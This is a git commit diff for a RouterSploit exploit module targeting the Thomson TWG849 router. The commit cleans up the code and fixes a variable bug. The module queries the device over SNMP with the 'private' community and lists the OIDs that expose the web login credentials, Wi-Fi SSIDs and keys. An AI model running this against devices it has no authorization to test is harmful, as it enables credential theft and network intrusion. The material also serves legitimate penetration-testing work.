Unverified Commit eae2c0c7 by Marcin Bury Committed by GitHub

Fixing Thomson TWG849 Info Disclosure module (#410)

parent db145aaf
...@@ -5,7 +5,7 @@ from routersploit.core.snmp.snmp_client import SNMPClient ...@@ -5,7 +5,7 @@ from routersploit.core.snmp.snmp_client import SNMPClient
class Exploit(SNMPClient): class Exploit(SNMPClient):
__info__ = { __info__ = {
"name": "Thomson TWG849 Info Disclosure", "name": "Thomson TWG849 Info Disclosure",
"description": "Module exploits Thomson TWG849 information disclosure vulnerability which allows to read sensitive information.", "description": "Module exploits Thomson TWG849 information disclosure vulnerability which allows reading sensitive information.",
"authors": [ "authors": [
"Sebastian Perez", # vulnerability discovery "Sebastian Perez", # vulnerability discovery
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
...@@ -20,21 +20,28 @@ class Exploit(SNMPClient): ...@@ -20,21 +20,28 @@ class Exploit(SNMPClient):
target = OptIP("", "Target IPv4 or IPv6 address") target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(161, "Target SNMP port") port = OptPort(161, "Target SNMP port")
verbosity = OptBool("false", "Enable verbose output: true/false")
oids = { # make, model, software version def __init__(self):
"model": "1.3.6.1.2.1.1.1.0", self.oids = {
"uptime": "1.3.6.1.2.1.1.3.0", # make, model, software version
# web interface credentials "model": "1.3.6.1.2.1.1.1.0",
"username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0", "uptime": "1.3.6.1.2.1.1.3.0",
"password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0",
# ssid and key # web interface credentials
"ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32", "username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0",
"ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32", "password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0",
# guest network oids
"guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33", # ssid and key
"guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34", "ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32",
"guest3": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35", "ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32",
}
# guest network oids
"guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33",
"guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34",
"guest3": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35",
}
def run(self): def run(self):
res = [] res = []
...@@ -43,8 +50,10 @@ class Exploit(SNMPClient): ...@@ -43,8 +50,10 @@ class Exploit(SNMPClient):
for name in self.oids.keys(): for name in self.oids.keys():
snmp = self.snmp_get("private", self.oids[name]) snmp = self.snmp_get("private", self.oids[name])
if snmp: if snmp:
value = str(varBinds[0][1]) value = str(snmp[0][1])
res.append((name, value))
if value:
res.append((name, value))
if res: if res:
print_success("Exploit success") print_success("Exploit success")
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment